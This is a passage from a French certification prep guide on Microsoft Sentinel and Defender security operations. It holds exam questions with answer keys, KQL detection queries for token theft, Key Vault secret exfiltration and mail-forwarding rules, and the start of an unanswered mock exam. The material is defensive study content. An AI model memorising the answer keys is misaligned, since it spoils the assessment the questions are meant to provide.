Les connexions **non interactives** (jetons d'actualisation utilisés par un client) sont dans **AADNonInteractiveUserSignInLogs**. Une investigation de vol de jeton doit unir les deux tables (`union SigninLogs, AADNonInteractiveUserSignInLogs`).

**Analyse des réponses incorrectes**

- **A.** Sa rétention dépend de l'espace de travail.
- **C.** Un utilisateur ne peut pas supprimer les journaux de connexion d'Entra ID.
- **D.** Exchange Online s'appuie sur Entra ID.

**Explication technique**

Les accès aux données eux-mêmes apparaissent aussi dans l'audit Microsoft 365 (MailItemsAccessed). Vérifier la collecte de AADNonInteractiveUserSignInLogs dans le connecteur Entra ID (souvent désactivée pour des raisons de coût).

**Point à retenir pour l'examen :** Activité par jeton absente de SigninLogs → AADNonInteractiveUserSignInLogs.

**Référence officielle**

- AADNonInteractiveUserSignInLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/aadnoninteractiveusersigninlogs

## Question n° 441 — Scénario H5 — Délai d'ingestion

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario H (suite) :** une règle planifiée toutes les 5 minutes sur des journaux de proxy tiers rate régulièrement des événements que l'on retrouve plus tard en chasse manuelle. **Question :** quelle est la cause la plus probable et la correction ?

**A.** Le proxy envoie des données chiffrées illisibles.

**B.** Une erreur de l'opérateur `where`.

**C.** Les règles planifiées ignorent les tables personnalisées.

**D.** Un délai d'ingestion supérieur à la fenêtre de la règle ; élargir la fenêtre de recherche (fréquence + délai) et filtrer sur `ingestion_time()` pour éviter les doublons.

**Bonne réponse : D**

**Correction détaillée**

Les événements arrivés **après** l'exécution de la règle mais horodatés dans une fenêtre déjà analysée ne sont jamais évalués. La correction documentée : fenêtre = fréquence + délai, et `where ingestion_time() > ago(fréquence)`.

**Analyse des réponses incorrectes**

- **A.** Les données sont lisibles en chasse.
- **B.** La requête fonctionne en chasse manuelle.
- **C.** Elles peuvent les interroger.

**Explication technique**

Mesurer le délai : `extend Delai = ingestion_time() - TimeGenerated | summarize percentiles(Delai, 50, 95, 99)`. Les règles NRT gèrent nativement le délai d'ingestion.

**Point à retenir pour l'examen :** Événements manqués par une règle mais visibles plus tard = délai d'ingestion → lookback élargi + ingestion_time().

**Référence officielle**

- Gestion du délai d'ingestion dans les règles d'analytique planifiée — https://learn.microsoft.com/fr-fr/azure/sentinel/ingestion-delay
- ingestion_time() — https://learn.microsoft.com/fr-fr/kusto/query/ingestion-time-function?view=microsoft-sentinel

## 6.9 Scénario I — Incident cloud nécessitant une investigation croisée

### Question n° 442 — Scénario I1 — Alerte de départ

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario I :** Defender for Key Vault signale « Unusual application accessed a key vault » : une application jamais vue a lu 300 secrets d'un coffre de production depuis une IP d'hébergement. **Question :** quelles sources croiser en priorité ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Le rapport de filtrage web.

**B.** EmailUrlInfo.

**C.** Les journaux de diagnostic du coffre (opérations SecretGet, identité appelante) et les connexions du principal de service (AADServicePrincipalSignInLogs).

**D.** Les journaux d'audit Entra ID (AuditLogs) pour l'ajout récent de secrets ou de permissions à l'application.

**E.** La table Heartbeat.

**Bonne réponse : C, D**

**Correction détaillée**

L'alerte Key Vault indique **quoi** (lecture massive de secrets) ; les **journaux du coffre** précisent les secrets lus ; les **connexions du principal de service** montrent comment l'application s'est authentifiée ; **AuditLogs** montre **comment** l'attaquant a obtenu cet accès (secret ajouté, permission accordée).

**Analyse des réponses incorrectes**

- **A.** Navigation des postes.
- **B.** URL des e-mails.
- **E.** Disponibilité des agents.

**Explication technique**

Ce croisement relie Defender for Cloud (alerte), Entra ID (identité) et les journaux de ressources (données). Dans le portail Defender, l'alerte est corrélée à d'éventuelles autres alertes du locataire.

**Point à retenir pour l'examen :** Accès anormal à Key Vault : journaux du coffre + connexions du principal de service + AuditLogs.

**Référence officielle**

- Vue d'ensemble de Microsoft Defender pour Key Vault — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-key-vault-introduction
- Alertes et incidents Microsoft Defender for Cloud dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-integration-365

## Question n° 443 — Scénario I2 — Requête sur l'identité applicative

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario I (suite) :** vous recherchez qui a ajouté des identifiants à l'application « app-integration-prod » au cours des 14 derniers jours. **Question :** quelle requête convient ?

**A.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(14d)
| where OperationName in ("Add service principal credentials", "Update application – Certificates and secrets management")
| extend Application = tostring(TargetResources[0].displayName)
| where Application =~ "app-integration-prod"
| extend Auteur = coalesce(tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName)), IP = tostring(InitiatedBy.user.ipAddress)
| project TimeGenerated, OperationName, Application, Auteur, IP, Result
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(14d)
| where AppDisplayName =~ "app-integration-prod"
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(14d)
| where EventID == 4720
```

**D.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(14d)
| where OperationNameValue has "vaults/secrets/read"
```

**Bonne réponse : A**

### Correction détaillée

L'ajout de secrets/certificats aux **applications** et **principaux de service** est tracé dans **AuditLogs**. L'auteur peut être un **utilisateur** ou une **application** (`InitiatedBy.user` / `InitiatedBy.app`), d'où `coalesce`.

### Analyse des réponses incorrectes

- **B.** Connexions d'utilisateurs à l'application, pas gestion de ses identifiants.
- **C.** Création de comptes AD locaux.
- **D.** Opérations Azure sur les secrets du coffre, pas ajout d'identifiants à l'application Entra.

### Explication technique

Si l'auteur est un compte d'utilisateur compromis, élargir l'enquête à ce compte (connexions, autres modifications). Si c'est une application, remonter sa propre chaîne de compromission.

### Résultat attendu

Les ajouts d'identifiants à l'application avec l'auteur, l'IP et le résultat.

**Point à retenir pour l'examen :** Identifiants ajoutés à une application = AuditLogs (InitiatedBy user/app, TargetResources).

**Référence officielle**

- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs

## Question n° 444 — Scénario I3 — Confinement cloud

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario I (suite) :** l'attaquant a ajouté un secret à l'application il y a 5 jours via un compte d'administrateur d'applications compromis. **Question :** quelles mesures de confinement sont prioritaires ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Attendre que les secrets expirent naturellement.

**B.** Supprimer le secret ajouté (et faire tourner les autres identifiants de l'application), et faire tourner les secrets du coffre qui ont été lus.

**C.** Supprimer le coffre de clés de production.

**D.** Confiner le compte administrateur compromis (mot de passe, révocation des sessions, retrait temporaire des rôles).

**E.** Désactiver Defender for Key Vault.

**Bonne réponse : B, D**

**Correction détaillée**

Il faut couper **les deux accès** de l'attaquant : l'**identité applicative** (secret ajouté) et le **compte humain** compromis, puis neutraliser la valeur des **secrets exfiltrés** (rotation) puisqu'ils sont désormais connus de l'attaquant.

**Analyse des réponses incorrectes**

- **A.** L'attaquant pourrait les utiliser pendant ce temps.
- **C.** Interruption majeure et perte de données.
- **E.** Supprime la détection.

**Explication technique**

Vérifier aussi les autres actions du compte administrateur (autres applications modifiées, consentements, rôles). Restreindre ensuite le rôle d'administrateur d'applications via PIM.

**Point à retenir pour l'examen :** Compromission applicative : retirer le secret ajouté, confiner le compte humain, faire tourner les secrets exfiltrés.

**Référence officielle**

- Vue d'ensemble de Microsoft Defender pour Key Vault — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-key-vault-introduction
- Investigation sur l'octroi de consentement pour l'application — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-app-consent

## Question n° 445 — Scénario I4 — Impact sur les ressources

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario I (suite) :** parmi les secrets lus figurait une clé de compte de stockage. **Question :** comment vérifier si elle a été utilisée par l'attaquant ?

**A.** Consulter Heartbeat.

**B.** Examiner les journaux de ressources du compte de stockage (StorageBlobLogs) pour les accès authentifiés par clé de compte depuis des IP inhabituelles après l'heure de lecture du secret.

**C.** Vérifier le Secure Score.

**D.** Examiner uniquement SigninLogs, car tout accès au stockage passe par une connexion Entra ID.

**Bonne réponse : B**

**Correction détaillée**

L'usage d'une **clé de compte** ne génère pas de connexion Entra ID : seuls les **journaux de ressources** du stockage (StorageBlobLogs, `AuthenticationType` = AccountKey, `CallerIpAddress`) le révèlent. Defender for Storage peut aussi avoir généré des alertes d'accès anormal.

**Analyse des réponses incorrectes**

- **A.** Disponibilité des agents.
- **C.** Indicateur de posture.
- **D.** Les accès par clé de compte ou SAS n'apparaissent pas dans les connexions Entra.

**Explication technique**

Après rotation de la clé, vérifier que les applications légitimes ont été mises à jour. Envisager de désactiver l'accès par clé partagée (Entra ID uniquement) pour réduire ce risque.

**Point à retenir pour l'examen :** Usage d'une clé de stockage volée = StorageBlobLogs (AuthenticationType AccountKey), invisible dans SigninLogs.

**Référence officielle**

- AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity

## Question n° 446 — Scénario I5 — Leçon d'architecture

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario I (suite) :** le retour d'expérience montre que l'application disposait d'un accès en lecture à tous les secrets du coffre alors qu'elle n'en utilisait que deux. **Question :** quelles améliorations prioriser ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Désactiver la journalisation des coffres.

**B.** Appliquer le moindre privilège (RBAC Key Vault par secret ou coffres séparés) et préférer les identités managées aux secrets d'application.

**C.** Utiliser Defender CSPM (chemins d'attaque, explorateur de sécurité cloud) pour identifier les identités sur-privilégiées ayant accès à des données sensibles.

**D.** Donner à toutes les applications l'accès à tous les coffres pour simplifier.

**E.** Stocker les secrets dans le code source.

**Bonne réponse : B, C**

**Correction détaillée**

Le **moindre privilège** limite le rayon d'impact d'une identité compromise ; les **identités managées** suppriment les secrets à protéger ; **Defender CSPM** révèle les combinaisons « identité sur-privilégiée + données sensibles » avant qu'elles ne soient exploitées.

**Analyse des réponses incorrectes**

- **A.** Supprime la traçabilité.
- **D.** Aggrave le risque.
- **E.** Pratique dangereuse.

**Explication technique**

Ces enseignements alimentent la gouvernance (propriétaires, échéances) et des contrôles Azure Policy. Suivre la correction comme une recommandation prioritaire.

**Point à retenir pour l'examen :** Réduire le rayon d'impact cloud : moindre privilège + identités managées + CSPM.

**Référence officielle**

- Qu'est-ce que la gestion de posture de sécurité Cloud (CSPM) — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-cloud-security-posture-management
- Identifier et corriger les chemins d'attaque dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/how-to-manage-attack-path

## 6.10 Scénario J — Automatisation de réponse mal configurée

### Question n° 447 — Scénario J1 — Playbook qui ne se déclenche pas

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario J :** une règle d'automatisation doit lancer le playbook « Notifier-Teams » à la création d'incidents de gravité élevée. Les incidents sont bien créés mais aucun message n'arrive ; l'historique de la Logic App ne montre aucune exécution. **Question :** quelle cause vérifier en premier ?

**A.** La rétention de la table SecurityIncident.

**B.** Le connecteur Teams de la Logic App.

**C.** Le Secure Score du locataire.

**D.** Les autorisations du compte de service Microsoft Sentinel (Microsoft Sentinel Automation Contributor) sur le groupe de ressources du playbook, et le type de déclencheur du playbook (incident).

**Bonne réponse : D**

**Correction détaillée**

Aucune exécution dans l'historique signifie que le playbook **n'a jamais été appelé** : autorisations manquantes du service Sentinel sur le groupe de ressources, playbook avec un **déclencheur incompatible** (alerte au lieu d'incident), règle d'automatisation avec des **conditions** trop restrictives ou expirée.

**Analyse des réponses incorrectes**

- **A.** Sans rapport avec le déclenchement.
- **B.** Si la Logic App ne s'exécute jamais, le problème se situe avant l'action Teams.
- **C.** Sans rapport.

**Explication technique**

La surveillance de l'intégrité (SentinelHealth) enregistre les exécutions des règles d'automatisation et les échecs de déclenchement de playbooks, ce qui accélère le diagnostic.

**Point à retenir pour l'examen :** Playbook jamais exécuté = autorisations du service Sentinel, déclencheur, conditions/expiration de la règle.

**Référence officielle**

- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules
- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles

## Question n° 448 — Scénario J2 — Diagnostic avec SentinelHealth

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario J (suite) :** vous voulez lister les échecs des règles d'automatisation et des playbooks sur 7 jours. **Question :** quelle requête convient ?

**A.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(7d)
```

**B.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(7d)
| where Severity == "High"
```

**C.**

REQUÊTE KQL

```
SentinelHealth
| where TimeGenerated > ago(7d)
| where SentinelResourceType in ("Automation rule", "Playbook")
| where Status != "Success"
| project TimeGenerated, SentinelResourceType, SentinelResourceName, Status, Description,
ExtendedProperties
| order by TimeGenerated desc
```

**D.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(7d)
| where OperationNameValue has "logic"
```

**Bonne réponse : C**

### Correction détaillée

**SentinelHealth** (après activation de l'audit et de la surveillance de l'intégrité) enregistre les événements d'exécution des **règles d'automatisation**, **playbooks**, **règles d'analyse** et **connecteurs**, avec l'état et la description de l'erreur.

### Analyse des réponses incorrectes

- **A.** Disponibilité des agents.
- **B.** Liste des incidents, pas de l'état des automatisations.
- **D.** Opérations de gestion sur les ressources Logic Apps, pas exécutions déclenchées par Sentinel.

### Explication technique

Les valeurs exactes de SentinelResourceType et Status sont à vérifier dans vos données (`summarize count() by SentinelResourceType, Status`). Une règle d'analyse sur cette table peut alerter en cas d'échec d'automatisation critique.

### Résultat attendu

La liste des échecs d'automatisation avec la ressource concernée et la description.

**Hypothèses liées au schéma de données**

Hypothèse sur les libellés de SentinelResourceType (« Automation rule », « Playbook ») ; ils peuvent différer selon la version.

**Point à retenir pour l'examen :** Échecs d'automatisation = SentinelHealth (à activer), filtrée par type de ressource et statut.

**Référence officielle**

- SentinelHealth — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/sentinelhealth
- Activer l'audit et la surveillance de l'intégrité pour Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/enable-monitoring

## Question n° 449 — Scénario J3 — Boucle d'automatisation

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario J (suite) :** une règle d'automatisation « lors de la mise à jour d'un incident » ajoute une balise ; une autre, déclenchée aussi à la mise à jour, change la gravité. Les incidents subissent des dizaines de modifications. **Question :** quelle correction est la plus appropriée ?

**A.** Restreindre les conditions des règles déclenchées à la mise à jour (par exemple « Statut modifié en Actif » ou « Alertes ajoutées ») pour qu'une modification faite par une règle ne déclenche pas l'autre en boucle.

**B.** Supprimer toutes les règles d'automatisation.

**C.** Augmenter le nombre de règles pour compenser.

**D.** Passer les incidents en gravité Informationnelle.

**Bonne réponse : A**

**Correction détaillée**

Les déclencheurs « à la mise à jour » peuvent réagir aux changements effectués par d'autres règles. Des **conditions précises** sur le type de mise à jour (champ modifié, valeur) évitent les **boucles**.

**Analyse des réponses incorrectes**

- **B.** Perte de l'automatisation utile.
- **C.** Aggraverait le problème.
- **D.** Ne traite pas la cause et fausse la priorisation.

**Explication technique**

Documenter l'ordre et l'intention de chaque règle ; tester sur un espace de développement ; surveiller SentinelHealth. Préférer consolider des actions dans une seule règle quand c'est possible.

**Point à retenir pour l'examen :** Boucles d'automatisation = conditions de mise à jour trop larges ; cibler le champ modifié.

**Référence officielle**

- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules

## Question n° 450 — Scénario J4 — Action automatique trop agressive

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario J (suite) :** une détection personnalisée Defender XDR isole automatiquement tout appareil exécutant `psexec.exe`. Un matin, 60 serveurs sont isolés lors d'un déploiement légitime de l'équipe

d'exploitation. **Question :** quelle correction est la plus adaptée ?

**A.** Supprimer définitivement toutes les détections personnalisées.

**B.** Désactiver Defender for Endpoint sur les serveurs.

**C.** Garder la règle telle quelle, la sécurité prime sur la production.

**D.** Affiner la requête (exclure les comptes et serveurs de déploiement légitimes, cibler des combinaisons suspectes), et réserver l'isolation automatique aux détections à très haute confiance ; libérer les serveurs après vérification.

**Bonne réponse : D**

**Correction détaillée**

Les **actions automatiques** (isolation, quarantaine) doivent reposer sur des détections à **très faible taux de faux positifs**. PsExec est un outil d'administration légitime : la détection doit cibler un contexte suspect (compte inhabituel, source inconnue, binaire renommé, cible sensible).

**Analyse des réponses incorrectes**

- **A.** Perte de détections utiles.
- **B.** Supprime la protection.
- **C.** Une automatisation qui interrompt régulièrement la production finira désactivée ou contournée.

**Explication technique**

Une approche graduée : alerte seule pour les détections moyennes, action automatique pour les détections à haute confiance, coordination avec l'exploitation (fenêtres de changement, comptes dédiés). Les actions sont réversibles via le Centre de notifications.

**Point à retenir pour l'examen :** Action automatique = détection à très haute confiance ; affiner avant d'automatiser l'isolation.

**Référence officielle**

- Créer des règles de détection personnalisées dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/custom-detection-rules
- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 451 — Scénario J5 — Bonnes pratiques d'automatisation

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario J (suite) :** le SOC formalise ses règles pour les playbooks. **Question :** quelles pratiques recommander ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Partager un compte d'administrateur général dans toutes les connexions des playbooks.

**B.** Donner le rôle Logic App Contributor à tous les analystes N1.

**C.** Désactiver la surveillance de l'intégrité pour réduire les coûts.

**D.** Utiliser des identités managées avec le moindre privilège et journaliser les actions des playbooks (commentaires dans l'incident).

**E.** Versionner et déployer les playbooks et règles d'automatisation via un dépôt (Repositories / CI-CD), avec tests sur un environnement de développement.

**Bonne réponse : D, E**

**Correction détaillée**

Les playbooks doivent suivre le **moindre privilège** (identité managée, permissions minimales), être **traçables** (commentaires, SentinelHealth) et **gérés comme du code** (versionnement, revue, tests, déploiement automatisé).

**Analyse des réponses incorrectes**

- **A.** Privilèges excessifs, secret partagé, pas de traçabilité.
- **B.** Les N1 n'ont besoin que de lancer des playbooks (Playbook Operator).
- **C.** On perdrait la détection des échecs d'automatisation.

**Explication technique**

Rôles : Playbook Operator pour exécuter, Logic App Contributor pour éditer, Automation Contributor pour le compte de service Sentinel. Revoir régulièrement les playbooks et leurs connexions.

**Point à retenir pour l'examen :** Automatisation fiable = identités managées à moindre privilège + traçabilité + gestion « as code ».

**Référence officielle**

- Automatiser la réponse aux menaces avec des playbooks dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/automate-responses-with-playbooks
- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles

# Examens blancs

Les trois examens blancs ci-dessous comptent chacun **50 questions** tirées des séries d'entraînement du guide (les questions sont **réutilisées** : leur numéro d'origine figure dans le corrigé et elles ne sont pas comptées deux fois dans le total des questions uniques). Les propositions ont été remélangées pour éviter la mémorisation des lettres. Les trois examens sont disjoints : aucune question n'apparaît dans deux examens.

Chaque examen est d'abord présenté sans réponse, puis suivi d'un corrigé séparé. Une version « sujets seuls » et une version « corrigés seuls » sont également fournies dans des fichiers PDF distincts.

# Examen blanc n° 1

**Consignes :** 50 questions, durée conseillée 100 minutes, sans documentation. Notez vos réponses sur une feuille séparée, puis comparez-les au corrigé. Les questions à réponses multiples indiquent le nombre de réponses attendues. La répartition suit la pondération officielle du référentiel : 21 questions « Gérer un environnement d'opérations de sécurité », 18 « Répondre aux incidents de sécurité » et 11 « Effectuer la chasse aux menaces ».

### Examen 1 — Question 1 (Répondre aux incidents de sécurité)

Un incident affiche l'étiquette « Attack Disruption » : un utilisateur a été désactivé et deux appareils contenus automatiquement. Quelle est la conduite à tenir de l'analyste ?

**A.** Attendre qu'une règle d'automatisation ferme l'incident.

**B.** Annuler immédiatement toutes les actions automatiques pour éviter les perturbations.

**C.** Fermer l'incident, car l'interruption a résolu l'attaque.

**D.** Prioriser l'incident, analyser l'histoire de l'attaque, poursuivre l'investigation et la remédiation, puis lever le confinement et réactiver le compte une fois la menace éliminée.

### Examen 1 — Question 2 (Gérer un environnement d'opérations de sécurité)

Vous créez un playbook qui doit lire toutes les entités et alertes d'un incident, puis publier un résumé dans Microsoft Teams, et être lancé par une règle d'automatisation à la création d'incidents. Quel déclencheur Logic Apps utiliser ?

**A.** Le déclencheur Microsoft Sentinel « entity ».

**B.** Le déclencheur Microsoft Sentinel « Microsoft Sentinel incident ».

**C.** Le déclencheur « Recurrence » (planifié).

**D.** Le déclencheur « When a HTTP request is received ».

### Examen 1 — Question 3 (Répondre aux incidents de sécurité)

Le SOC reçoit une alerte de Gestion des risques internes (Insider Risk Management) concernant un utilisateur sur le départ ayant exfiltré des données. Pourquoi l'identité de l'utilisateur peut-elle apparaître pseudonymisée ?

**A.** Parce que les paramètres de confidentialité d'Insider Risk Management peuvent masquer les noms des utilisateurs pour protéger la vie privée, seuls des rôles autorisés pouvant lever la pseudonymisation.

**B.** Parce que l'utilisateur n'existe plus dans Entra ID.

**C.** Parce que le connecteur Syslog est mal configuré.

**D.** Parce que Defender XDR ne prend pas en charge les alertes Purview.

### Examen 1 — Question 4 (Gérer un environnement d'opérations de sécurité)

Vous transformez une requête de chasse avancée sur DeviceProcessEvents en règle de détection personnalisée. L'assistant refuse la requête ou les alertes ne sont pas correctement rattachées aux appareils. Quelles colonnes la requête doit-elle renvoyer ?

**A.** Aucune colonne particulière : toute requête est acceptée telle quelle.

**B.** Timestamp (ou TimeGenerated), ainsi que DeviceId et ReportId pour les tables Defender for Endpoint.

**C.** Uniquement DeviceName.

**D.** SHA256 et FileName uniquement.

### Examen 1 — Question 5 (Effectuer la chasse aux menaces)

**Besoin :** rechercher une IP dans plusieurs sources. Que contient la colonne Source ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
union withsource = Source SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(3d)
| where IPAddress == "203.0.113.77"
| summarize Connexions = count() by Source, UserPrincipalName
```

**A.** Le résultat de la connexion.

**B.** Le nom de l'espace de travail.

**C.** L'adresse IP source de la connexion.

**D.** Le nom de la table d'origine de chaque ligne (SigninLogs ou AADNonInteractiveUserSignInLogs).

### Examen 1 — Question 6 (Effectuer la chasse aux menaces)

**Hypothèse de chasse :** un compte compromis se connecte rapidement à de nombreux serveurs. Que renvoie la requête sur les ouvertures de session réseau simulées ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let Logons = datatable(TimeGenerated:datetime, AccountName:string, DeviceName:string,
LogonType:string)
[
    datetime(2026-10-05T13:00:00Z), "svc_sql", "SRV-SQL01", "Network",
    datetime(2026-10-05T13:02:00Z), "j.roux",  "SRV-FIC01", "Network",
    datetime(2026-10-05T13:02:30Z), "j.roux",  "SRV-FIC02", "Network",
    datetime(2026-10-05T13:03:10Z), "j.roux",  "SRV-APP01", "Network",
    datetime(2026-10-05T13:03:40Z), "j.roux",  "SRV-APP02", "Network",
    datetime(2026-10-05T13:04:05Z), "j.roux",  "SRV-DC01",  "Network",
    datetime(2026-10-05T15:00:00Z), "svc_sql", "SRV-SQL01", "Network"
];
Logons
| summarize Cibles = dcount(DeviceName), Liste = make_set(DeviceName) by AccountName,
bin(TimeGenerated, 10m)
| where Cibles >= 4
```

**A.** Le compte j.roux, qui s'est connecté à 5 serveurs différents (dont un contrôleur de domaine) en un peu plus de 2 minutes.

**B.** Le compte svc_sql, qui se connecte deux fois au même serveur.

**C.** Aucun compte, car LogonType « Network » est légitime.

**D.** Les deux comptes.

### Examen 1 — Question 7 (Répondre aux incidents de sécurité)

Après un hameçonnage réussi, vous soupçonnez qu'un attaquant a créé une règle de boîte de réception transférant les e-mails vers une adresse externe. Quelle requête Sentinel permet de rechercher la création de telles règles ?

**A.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(7d)
| where Operation in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| where Parameters has_any ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo")
| project TimeGenerated, UserId, ClientIP, Operation, Parameters
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(7d)
| where OperationNameValue has "InboxRule"
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4720
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Outlook"
```

### Examen 1 — Question 8 (Répondre aux incidents de sécurité)

Un poste a été isolé il y a deux jours. L'analyse est terminée, les persistances supprimées et le poste réimagé. Quelles vérifications précèdent la libération de l'isolement ?

**A.** Libérer immédiatement sans vérification puisque le poste a été réimagé.

**B.** Vérifier qu'aucune activité malveillante ne persiste (analyse antivirus complète, chasse sur les IOC de l'incident, état de l'enquête automatisée), que les identifiants de l'utilisateur ont été réinitialisés si nécessaire, puis libérer et surveiller.

**C.** Désintégrer (offboard) le poste de MDE avant de le libérer.

**D.** Laisser le poste isolé indéfiniment par précaution.

### Examen 1 — Question 9 (Répondre aux incidents de sécurité)

Lors d'une compromission de messagerie, vous devez déterminer quels e-mails l'attaquant a effectivement lus (synchronisation ou accès par lien). Quel événement d'audit est conçu pour cela ?

**A.** New-InboxRule.

**B.** FileDownloaded.

**C.** UserLoggedIn.

**D.** MailItemsAccessed.

### Examen 1 — Question 10 (Répondre aux incidents de sécurité)

Vous recherchez dans Sentinel les partages anonymes (liens « Tout le monde ») créés sur SharePoint/OneDrive au cours des dernières 24 heures. Quelle requête est la plus appropriée ?

**A.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload in ("SharePoint", "OneDrive")
| where Operation in ("AnonymousLinkCreated", "AnonymousLinkUsed")
| project TimeGenerated, UserId, Operation, OfficeObjectId, ClientIP
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue has "AnonymousLink"
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 5140
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "SharePoint"
```

### Examen 1 — Question 11 (Gérer un environnement d'opérations de sécurité)

Le SOC soupçonne la présence de machines non protégées sur le réseau. Quelle fonctionnalité de MDE permet d'identifier ces appareils sans installer de logiciel supplémentaire ?

**A.** La restriction d'exécution d'applications.

**B.** Le filtrage de contenu web.

**C.** La découverte des appareils (device discovery), en mode standard, qui utilise les appareils intégrés à MDE pour sonder et identifier les appareils non gérés.

**D.** L'analyse approfondie de fichiers.

### Examen 1 — Question 12 (Gérer un environnement d'opérations de sécurité)

**Scénario D (suite) :** le SOC veut une règle Sentinel détectant les connexions réussies depuis un appareil non conforme et un pays jamais vu pour l'utilisateur. **Question :** quel paramétrage de la règle est le plus approprié ?

**A.** Une règle Fusion personnalisée.

**B.** Une règle planifiée (par exemple toutes les heures, avec une référence de 14 jours dans la requête), avec mappage des entités Account et IP et regroupement des alertes par utilisateur.

**C.** Une règle d'anomalie en mode Production sans test.

**D.** Une règle NRT sans référence historique.

### Examen 1 — Question 13 (Gérer un environnement d'opérations de sécurité)

La réglementation impose de conserver les journaux de pare-feu pendant 7 ans. Ils ne servent qu'à des investigations ponctuelles. Quelle configuration est la plus économique tout en restant interrogeable en KQL ?

**A.** Conserver la table en niveau Analytics avec une rétention interactive de 7 ans.

**B.** Exporter quotidiennement les journaux en CSV vers un partage de fichiers.

**C.** Supprimer les journaux après 90 jours et ne conserver que les alertes.

**D.** Stocker la table dans le niveau data lake avec une rétention de 7 ans, et utiliser des requêtes KQL ou des jobs KQL lors des investigations.

### Examen 1 — Question 14 (Répondre aux incidents de sécurité)

Quel est l'avantage principal de l'analyse sans agent (agentless scanning) de Defender for Cloud pour les machines virtuelles ?

